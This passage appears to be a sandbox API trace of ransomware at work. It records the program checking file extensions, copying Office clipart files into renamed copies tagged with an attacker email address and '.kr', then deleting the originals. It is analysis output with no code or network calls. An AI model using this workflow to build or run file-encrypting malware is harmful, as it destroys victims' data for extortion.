[0217.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.432] lstrlenW (lpString=".zip") returned 4 [0217.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.432] lstrlenW (lpString=".rar") returned 4 [0217.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.432] lstrlenW (lpString=".bz2") returned 4 [0217.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.432] lstrlenW (lpString=".7z") returned 3 [0217.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.432] lstrlenW (lpString=".dbf") returned 4 [0217.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.432] lstrlenW (lpString=".1cd") returned 4 [0217.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.432] lstrlenW (lpString=".jpg") returned 4 [0217.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.433] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.433] lstrlenW (lpString="J0152622.WMF") returned 12 [0217.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.498] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9604) returned 1 [0217.498] CloseHandle (hObject=0x51c) returned 1 [0217.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220 [0217.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.500] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.500] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0217.501] GetLastError () returned 0x0 [0217.501] ReadFile (in: hFile=0x51c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2584, lpOverlapped=0x0) returned 1 [0217.502] WriteFile (in: hFile=0x388, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2590, lpOverlapped=0x0) returned 1 [0217.504] ReadFile (in: hFile=0x51c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.504] WriteFile (in: hFile=0x388, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.504] SetEndOfFile (hFile=0x388) returned 1 [0217.504] CloseHandle (hObject=0x388) returned 1 [0217.504] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.504] SetEndOfFile (hFile=0x51c) returned 1 [0217.507] CloseHandle (hObject=0x51c) returned 1 [0217.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0217.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.508] lstrlenW (lpString=".doc") returned 4 [0217.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.508] lstrlenW (lpString=".docx") returned 5 [0217.508] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0217.508] lstrlenW (lpString=".pdf") returned 4 [0217.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.508] lstrlenW (lpString=".xls") returned 4 [0217.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.508] lstrlenW (lpString=".xlsx") returned 5 [0217.508] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0217.508] lstrlenW (lpString=".ppt") returned 4 [0217.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.508] lstrlenW (lpString=".zip") returned 4 [0217.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.508] lstrlenW (lpString=".rar") returned 4 [0217.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.509] lstrlenW (lpString=".bz2") returned 4 [0217.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.509] lstrlenW (lpString=".7z") returned 3 [0217.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.509] lstrlenW (lpString=".dbf") returned 4 [0217.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.509] lstrlenW (lpString=".1cd") returned 4 [0217.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.509] lstrlenW (lpString=".jpg") returned 4 [0217.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.509] lstrlenW (lpString=".doc") returned 4 [0217.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.509] lstrlenW (lpString=".docx") returned 5 [0217.509] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0217.509] lstrlenW (lpString=".pdf") returned 4 [0217.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.509] lstrlenW (lpString=".xls") returned 4 [0217.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.509] lstrlenW (lpString=".xlsx") returned 5 [0217.509] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0217.510] lstrlenW (lpString=".ppt") returned 4 [0217.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.510] lstrlenW (lpString=".zip") returned 4 [0217.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.510] lstrlenW (lpString=".rar") returned 4 [0217.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.510] lstrlenW (lpString=".bz2") returned 4 [0217.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.510] lstrlenW (lpString=".7z") returned 3 [0217.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.510] lstrlenW (lpString=".dbf") returned 4 [0217.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.510] lstrlenW (lpString=".1cd") returned 4 [0217.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0217.510] lstrlenW (lpString=".jpg") returned 4 [0217.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.510] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.510] lstrlenW (lpString="J0152628.WMF") returned 12 [0217.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.512] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=30812) returned 1 [0217.512] CloseHandle (hObject=0x51c) returned 1 [0217.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220 [0217.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.512] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.512] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0217.513] GetLastError () returned 0x0 [0217.513] ReadFile (in: hFile=0x51c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x785c, lpOverlapped=0x0) returned 1 [0217.515] WriteFile (in: hFile=0x388, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x7860, lpOverlapped=0x0) returned 1 [0217.517] ReadFile (in: hFile=0x51c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.517] WriteFile (in: hFile=0x388, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.517] SetEndOfFile (hFile=0x388) returned 1 [0217.517] CloseHandle (hObject=0x388) returned 1 [0217.517] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.517] SetEndOfFile (hFile=0x51c) returned 1 [0217.520] CloseHandle (hObject=0x51c) returned 1 [0217.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0217.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.521] lstrlenW (lpString=".doc") returned 4 [0217.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.521] lstrlenW (lpString=".docx") returned 5 [0217.521] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.521] lstrlenW (lpString=".pdf") returned 4 [0217.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.521] lstrlenW (lpString=".xls") returned 4 [0217.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.521] lstrlenW (lpString=".xlsx") returned 5 [0217.521] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.521] lstrlenW (lpString=".ppt") returned 4 [0217.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.522] lstrlenW (lpString=".zip") returned 4 [0217.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.522] lstrlenW (lpString=".rar") returned 4 [0217.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString=".bz2") returned 4 [0217.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString=".7z") returned 3 [0217.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.522] lstrlenW (lpString=".dbf") returned 4 [0217.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.522] lstrlenW (lpString=".1cd") returned 4 [0217.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.522] lstrlenW (lpString=".jpg") returned 4 [0217.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.522] lstrlenW (lpString=".doc") returned 4 [0217.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString=".docx") returned 5 [0217.522] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.522] lstrlenW (lpString=".pdf") returned 4 [0217.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.522] lstrlenW (lpString=".xls") returned 4 [0217.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.522] lstrlenW (lpString=".xlsx") returned 5 [0217.522] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.522] lstrlenW (lpString=".ppt") returned 4 [0217.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.523] lstrlenW (lpString=".zip") returned 4 [0217.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.523] lstrlenW (lpString=".rar") returned 4 [0217.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.523] lstrlenW (lpString=".bz2") returned 4 [0217.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.523] lstrlenW (lpString=".7z") returned 3 [0217.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.523] lstrlenW (lpString=".dbf") returned 4 [0217.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.523] lstrlenW (lpString=".1cd") returned 4 [0217.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0217.523] lstrlenW (lpString=".jpg") returned 4 [0217.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.523] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.523] lstrlenW (lpString="J0152688.WMF") returned 12 [0217.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.530] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=34676) returned 1 [0217.530] CloseHandle (hObject=0x51c) returned 1 [0217.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220 [0217.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.531] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.531] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0217.532] GetLastError () returned 0x0 [0217.532] ReadFile (in: hFile=0x51c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x8774, lpOverlapped=0x0) returned 1 [0217.535] WriteFile (in: hFile=0x388, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x8780, lpOverlapped=0x0) returned 1 [0217.537] ReadFile (in: hFile=0x51c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.537] WriteFile (in: hFile=0x388, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.537] SetEndOfFile (hFile=0x388) returned 1 [0217.537] CloseHandle (hObject=0x388) returned 1 [0217.537] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.537] SetEndOfFile (hFile=0x51c) returned 1 [0217.540] CloseHandle (hObject=0x51c) returned 1 [0217.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0217.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.611] lstrlenW (lpString=".doc") returned 4 [0217.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString=".docx") returned 5 [0217.612] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.612] lstrlenW (lpString=".pdf") returned 4 [0217.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString=".xls") returned 4 [0217.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.612] lstrlenW (lpString=".xlsx") returned 5 [0217.612] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.612] lstrlenW (lpString=".ppt") returned 4 [0217.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.612] lstrlenW (lpString=".zip") returned 4 [0217.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.612] lstrlenW (lpString=".rar") returned 4 [0217.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString=".bz2") returned 4 [0217.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString=".7z") returned 3 [0217.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.612] lstrlenW (lpString=".dbf") returned 4 [0217.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.612] lstrlenW (lpString=".1cd") returned 4 [0217.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.612] lstrlenW (lpString=".jpg") returned 4 [0217.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.612] lstrlenW (lpString=".doc") returned 4 [0217.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.613] lstrlenW (lpString=".docx") returned 5 [0217.613] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.613] lstrlenW (lpString=".pdf") returned 4 [0217.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.613] lstrlenW (lpString=".xls") returned 4 [0217.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.613] lstrlenW (lpString=".xlsx") returned 5 [0217.613] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.613] lstrlenW (lpString=".ppt") returned 4 [0217.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0217.613] lstrlenW (lpString=".zip") returned 4 [0217.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.613] lstrlenW (lpString=".rar") returned 4 [0217.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.613] lstrlenW (lpString=".bz2") returned 4 [0217.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.613] lstrlenW (lpString=".7z") returned 3 [0217.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.613] lstrlenW (lpString="C:\\Program Files\\Microsoft 